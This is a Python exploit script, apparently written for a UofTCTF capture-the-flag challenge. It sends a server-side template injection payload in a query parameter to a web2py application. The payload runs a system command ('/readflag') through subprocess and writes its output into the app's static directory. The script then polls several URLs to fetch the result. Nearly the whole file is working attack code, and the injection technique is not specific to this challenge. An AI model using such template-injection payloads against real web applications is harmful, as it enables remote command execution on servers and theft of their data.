#!/usr/bin/env python3
"""
Write flag to static file via query parameter injection
"""

import requests
import urllib3
import time
urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

# Maybe the SSTI in the query parameter IS executing, just output not visible
# Try to write flag to a static file

print("[*] Attempting to write flag to static directory...")

# Payload that writes flag to a file
write_payload = "{{open('/opt/web2py/applications/welcome/static/output.txt','w').write(__import__('subprocess').check_output(['/readflag']).decode())}}"

response = requests.get(
    BASE_URL + "/welcome/default/index",
    params={"test": write_payload},
    verify=False
)

print(f"[+] Write request sent - Status: {response.status_code}")

time.sleep(2)

# Try to access the file
print("\n[*] Attempting to read the file...")

static_urls = [
    "/welcome/static/output.txt",
    "/static/output.txt",
    "/welcome/default/download/output.txt"
]

for url in static_urls:
    print(f"\n[>] Trying: {BASE_URL + url}")
    r = requests.get(BASE_URL + url, verify=False)
    print(f"    Status: {r.status_code}")
    
    if r.status_code == 200:
        print(f"    Content: {r.text[:200]}")
        
        if "uoftctf" in r.text.lower():
            print("\n" + "="*60)
            print("[!!!] FLAG FOUND!")
            print("="*60)
            print(f"\nFLAG: {r.text}\n")
            break

print("\n[*] If file wasn't found, the SSTI might not be executing at all.")
